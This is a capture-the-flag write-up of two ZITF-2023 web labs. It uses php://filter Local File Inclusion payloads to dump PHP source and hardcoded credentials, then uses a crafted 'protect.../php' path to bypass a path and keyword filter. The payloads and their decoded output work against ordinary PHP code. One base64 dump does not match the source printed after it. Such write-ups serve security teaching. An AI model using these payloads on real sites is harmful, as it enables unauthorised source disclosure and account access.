ZITF-2023 - Zira's lab 1 & 2
Zira’s Labs
These challenges stood out to me, primarily due to the engaging narrative crafted around them.
Lab 1: Exploring Zira’s Environment
The first lab presented four distinct pages:
- index.php and page2.php: Seemed non-functional.
- login.php and page1.php: Contained functional elements.
Analyzing page1.php
The page1.php was pivotal for accessing page2.php. It utilized a parameter as shown below:
1
http://10.0.0.4:8080/page1.php?page=page2.php
This URL indicates a file inclusion mechanism, introducing a Local File Inclusion (LFI) vulnerability. Such vulnerabilities permit attackers to view the source code of restricted pages.
Exploiting the LFI
Attempting to include login.php:
1
http://10.0.0.4:8080/page1.php?page=php://filter/read=convert.base64-encode/resource=login.php
Here, the php://filter
wrapper is employed to encode the file content in Base64.
The response provides the following Base64 string:
1
PD9waHAgc2Vzc2lvbl9zdGFydCgpOyAvKiBTdGFydHMgdGhlIHNlc3Npb24gKi8KCiAgICAgICAgLyogQ2hlY2sgTG9naW4gZm9ybSBzdWJtaXR0ZWQgKi8KICAgICAgICBpZihpc3NldCgkX1BPU1RbJ1N1Ym1pdCddKSl7CiAgICAgICAgICAgICAgICAvKiBEZWZpbmUgdXNlcm5hbWUgYW5kIGFzc29jaWF0ZWQgcGFzc3dvcmQgYXJyYXkgKi8KICAgICAgICAgICAgICAgICRsb2dpbnMgPSBhcnJheSgnemlyYScgPT4gJ015VW5ndWVzc2FibGVQYXNzd29yZE5vdEluUm9ja1lvdU1XQUhBSEFIQScpOwoKICAgICAgICAgICAgICAgIC8qIENoZWNrIGFuZCBhc3NpZ24gc3VibWl0dGVkIFVzZXJuYW1lIGFuZCBQYXNzd29yZCB0byBuZXcgdmFyaWFibGUgKi8KICAgICAgICAgICAgICAgICRVc2VybmFtZSA9IGlzc2V0KCRfUE9TVFsnVXNlcm5hbWUnXSkgPyAkX1BPU1RbJ1VzZXJuYW1lJ10gOiAnJzsKICAgICAgICAgICAgICAgICRQYXNzd29yZCA9IGlzc2V0KCRfUE9TVFsnUGFzc3dvcmQnXSkgPyAkX1BPU1RbJ1Bhc3N3b3JkJ10gOiAnJzsKCiAgICAgICAgICAgICAgICAvKiBDaGVjayBVc2VybmFtZSBhbmQgUGFzc3dvcmQgZXhpc3RlbmNlIGluIGRlZmluZWQgYXJyYXkgKi8KICAgICAgICAgICAgICAgIGlmIChpc3NldCgkbG9naW5zWyRVc2VybmFtZV0pICYmICRsb2dpbnNbJFVzZXJuYW1lXSA9PSAkUGFzc3dvcmQpewogICAgICAgICAgICAgICAgICAgICAgICAvKiBTdWNjZXNzOiBTZXQgc2Vzc2lvbiB2YXJpYWJsZXMgYW5kIHJlZGlyZWN0IHRvIFByb3RlY3RlZCBwYWdlICAqLwogICAgICAgICAgICAgICAgICAgICAgICAkX1NFU1NJT05bJ1VzZXJEYXRhJ11bJ1VzZXJuYW1lJ109JGxvZ2luc1skVXNlcm5hbWVdOwogICAgICAgICAgICAgICAgICAgICAgICBoZWFkZXIoImxvY2F0aW9uOnByb3RlY3QucGhwIik7CiAgICAgICAgICAgICAgICAgICAgICAgIGV4aXQ7CiAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgICAgICAvKlVuc3VjY2Vzc2Z1bCBhdHRlbXB0OiBTZXQgZXJyb3IgbWVzc2FnZSAqLwogICAgICAgICAgICAgICAgICAgICAgICAkbXNnPSI8c3BhbiBzdHlsZT0nY29sb3I6cmVkJz5JbnZhbGlkIExvZ2luIERldGFpbHM8L3NwYW4+IjsKICAgICAgICAgICAgICAgIH0KICAgICAgICB9CgppbmNsdWRlKCdodG1sL2xvZ2luLmh0bWwnKTsKPz4KCjxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiIG5hbWU9IkxvZ2luX0Zvcm0iPgogIDx0YWJsZSB3aWR0aD0iNDAwIiBib3JkZXI9IjAiIGFsaWduPSJjZW50ZXIiIGNlbGxwYWRkaW5nPSI1IiBjZWxsc3BhY2luZz0iMSIgY2xhc3M9IlRhYmxlIj4KICAgIDw/cGhwIGlmKGlzc2V0KCRtc2cpKXs/PgogICAgPHRyPgogICAgICA8dGQgY29sc3Bhbj0iMiIgYWxpZ249ImNlbnRlciIgdmFsaWduPSJ0b3AiPjw/cGhwIGVjaG8gJG1zZzs/PjwvdGQ+CiAgICA8L3RyPgogICAgPD9waHAgfSA/PgogICAgPHRyPgogICAgICA8dGQgY29sc3Bhbj0iMiIgYWxpZ249ImxlZnQiIHZhbGlnbj0idG9wIj48aDM+TG9naW48L2gzPjwvdGQ+CiAgICA8L3RyPgogICAgPHRyPgogICAgICA8dGQgYWxpZ249InJpZ2h0IiB2YWxpZ249InRvcCI+VXNlcm5hbWU8L3RkPgogICAgICA8dGQ+PGlucHV0IG5hbWU9IlVzZXJuYW1lIiB0eXBlPSJ0ZXh0IiBjbGFzcz0iSW5wdXQiPjwvdGQ+CiAgICA8L3RyPgogICAgPHRyPgogICAgICA8dGQgYWxpZ249InJpZ2h0Ij5QYXNzd29yZDwvdGQ+CiAgICAgIDx0ZD48aW5wdXQgbmFtZT0iUGFzc3dvcmQiIHR5cGU9InBhc3N3b3JkIiBjbGFzcz0iSW5wdXQiPjwvdGQ+CiAgICA8L3RyPgogICAgPHRyPgogICAgICA8dGQ+IDwvdGQ+CiAgICAgIDx0ZD48aW5wdXQgbmFtZT0iU3VibWl0IiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJMb2dpbiIgY2xhc3M9IkJ1dHRvbjMiPjwvdGQ+CiAgICA8L3RyPgogIDwvdGFibGU+CjwvZm9ybT4K
Which means
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
<?php session_start(); /* Starts the session */
/* Check Login form submitted */
if(isset($_POST['Submit'])){
/* Define username and associated password array */
$logins = array('zira' => 'MyUnguessablePasswordNotInRockYouMWAHAHAHA');
/* Check and assign submitted Username and Password to new variable */
$Username = isset($_POST['Username']) ? $_POST['Username'] : '';
$Password = isset($_POST['Password']) ? $_POST['Password'] : '';
/* Check Username and Password existence in defined array */
if (isset($logins[$Username]) && $logins[$Username] == $Password){
/* Success: Set session variables and redirect to Protected page */
$_SESSION['UserData']['Username']=$logins[$Username];
header("location:protect.php");
exit;
} else {
/*Unsuccessful attempt: Set error message */
$msg="<span style='color:red'>Invalid Login Details</span>";
}
}
include('html/login.html');
?>
<form action="" method="post" name="Login_Form">
<table width="400" border="0" align="center" cellpadding="5" cellspacing="1" class="Table">
<?php if(isset($msg)){?>
<tr>
<td colspan="2" align="center" valign="top"><?php echo $msg;?></td>
</tr>
<?php } ?>
<tr>
<td colspan="2" align="left" valign="top"><h3>Login</h3></td>
</tr>
<tr>
<td align="right" valign="top">Username</td>
<td><input name="Username" type="text" class="Input"></td>
</tr>
<tr>
<td align="right">Password</td>
<td><input name="Password" type="password" class="Input"></td>
</tr>
<tr>
<td> </td>
<td><input name="Submit" type="submit" value="Login" class="Button3"></td>
</tr>
</table>
</form>
This PHP code reveals credentials:
1
zira:MyUnguessablePasswordNotInRockYouMWAHAHAHA
We can now go to login.php
and use them.
Thus, the flag was retrieved.
Lab 2: Advancing the Challenge
The second lab was similar to the first but introduced additional security measures that hindered our initial approach to accessing the source code of login.php. A new filter was implemented to block our previous Local File Inclusion (LFI) exploit.
Inspecting the page1.php
Source Code
To comprehend the new restrictions, I began by retrieving the source of page1.php:
1
http://10.0.0.4:8081/content/page1.php?page=php://filter/read=convert.base64-encode/resource=page1.php
1
PD9waHAgc2Vzc2lvbl9zdGFydCgpOyAvKiBTdGFydHMgdGhlIHNlc3Npb24gKi8KCmlmKCFpc3NldCgkX1NFU1NJT05bJ1VzZXJEYXRhJ11bJ1VzZXJuYW1lJ10pKXsKICAgICAgICBoZWFkZXIoIkxvY2F0aW9uOi4uL2xvZ2luLnBocCIpOwogICAgICAgIGV4aXQ7Cn0KZWxzZXsKCT8
Which give the php code
1
2
3
4
5
6
7
8
9
10
<?php
if(isset($_GET['page']) && strpos($_GET['page'], 'protect.php') === false) {
$page_sanitize= str_replace('../','',$_GET['page']);
include($page_sanitize);
}
else {
include('../html/page1.html' );
exit;
}
?>
So we couldn’t get login.php
because it was out of /content
and that ../
was blocked. Moreover protect.php
is also filtered. But, there is a way of bypassing this filter.
1
http://10.0.0.4:8081/content/page1.php?page=php://filter/read=convert.base64-encode/resource=protect.../php
If we use that payload, the strpos won’t detect that we want to include protect.php
, and the str_replace will remove ../
, which will include the file we want.
1
PD9waHAgc2Vzc2lvbl9zdGFydCgpOyAvKiBTdGFydHMgdGhlIHNlc3Npb24gKi8KCmlmKCFpc3NldCgkX1NFU1NJT05bJ1VzZXJEYXRhJ11bJ1VzZXJuYW1lJ10pKXsKICAgICAgICBoZWFkZXIoIkxvY2F0aW9uOi4uL2xvZ2luLnBocCIpOwogICAgICAgIGV4aXQ7Cn0KZWxzZXsKICAgID8+CiAgICA8aGVhZD4KCiAgICA8VElUTEU+RHIgWmlyYSBwZXJzb25hbCB3ZWJzaXRlPC9USVRMRT4KICAgIDxNRVRBIE5BTUU9IktleXdvcmRzIiBDT05URU5UPSIiPgogICAgPE1FVEEgTkFNRT0iRGVzY3JpcHRpb24iIENPTlRFTlQ9IldoYXQgeW91IG5lZWQgaXMgaGVyZSI+CiAgICA8bGluayByZWw9Imljb24iIGhyZWY9ImRhdGE6LCI+CiAgICA8L2hlYWQ+CgogICAgPEJPRFkgYmdjb2xvcj0wMDAwMDA+CgogICAgIDwvL2JsYWNrPgogICAgPGJvZHkgdGV4dD1mZjlmYT4gPC8vc25vdz4KICAgIDxib2R5IGxpbms9ZWRkYTc0PiA8Ly9nb2xkZW5yb2Q+CiAgICA8Ym9keSB2bGluaz1lZGRhNzQ+IDwvL2dvbGRlbnJvZD4KICAgIDxib2R5IGFsaW5rPWFkZGZmZj4gPC8vbGlnaHQgYmx1ZT4KIAogICAgPC9CT0RZPgogICAgPGhlYWQ+CgogICAgPFRJVExFPlJlc3RyaWN0ZWQgQWVyYTwvVElUTEU+IAogICAgPE1FVEEgTkFNRT0iS2V5d29yZHMiIENPTlRFTlQ9IiI+IAogICAgPE1FVEEgTkFNRT0iRGVzY3JpcHRpb24iIENPTlRFTlQ9IldoYXQgeW91IG5lZWQgaXMgaGVyZSI+IAogICAgPGxpbmsgcmVsPSJpY29uIiBocmVmPSJkYXRhOiwiPgogICAgPC9oZWFkPgoKCgogICAgPEJPRFkgYmdjb2xvcj0wMDAwMDA+CgoKICAgICA8Ly9ibGFjaz4KICAgIDxib2R5IHRleHQ9YWFhYWFhPiA8Ly9ncmV5PgogICAgPGJvZHkgbGluaz1lZGRhNzQ+IDwvL2dvbGRlbnJvZD4KICAgIDxib2R5IHZsaW5rPWVkZGE3ND4gPC8vZ29sZGVucm9kPgogICAgPGJvZHkgYWxpbms9YWRkZmZmPiA8Ly9saWdodCBibHVlPgoKICAgIDxwIGFsaWduID1sZWZ0PgogICAgSGVyZSBpcyB5b3VyIHJld2FyZCA6CiAgICBaaVRGezNhYTY3MzIzZTI1Y2EyZmE0M2M4NGJjYmI0MDc5OWE5fSAKICAgIDxicj4KICAgIDxicj4KICAgIDwvaDI+CiAgICA8YnI+CiAgICA8YSBocmVmPSAibG9nb3V0LnBocCI+IExvZ291dDwvYT4KICAgIDxicj4KICAgIDxicj48YnI+CgogICAgZXhpdDsKPD9waHAgOwp9Cj8+
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
<?php session_start(); /* Starts the session */
if(!isset($_SESSION['UserData']['Username'])){
header("Location:../login.php");
exit;
}
else{
?>
<head>
<TITLE>Dr Zira personal website</TITLE>
<META NAME="Keywords" CONTENT="">
<META NAME="Description" CONTENT="What you need is here">
<link rel="icon" href="data:,">
</head>
<BODY bgcolor=000000>
<//black>
<body text=ff9fa> <//snow>
<body link=edda74> <//goldenrod>
<body vlink=edda74> <//goldenrod>
<body alink=addfff> <//light blue>
</BODY>
<head>
<TITLE>Restricted Aera</TITLE>
<META NAME="Keywords" CONTENT="">
<META NAME="Description" CONTENT="What you need is here">
<link rel="icon" href="data:,">
</head>
<BODY bgcolor=000000>
<//black>
<body text=aaaaaa> <//grey>
<body link=edda74> <//goldenrod>
<body vlink=edda74> <//goldenrod>
<body alink=addfff> <//light blue>
<p align =left>
Here is your reward :
ZiTF{3aa67323e25ca2fa43c84bcbb40799a9}
<br>
<br>
</h2>
<br>
<a href= "logout.php"> Logout</a>
<br>
<br><br>
exit;
<?php ;
}
?>
And here we got the flag another time.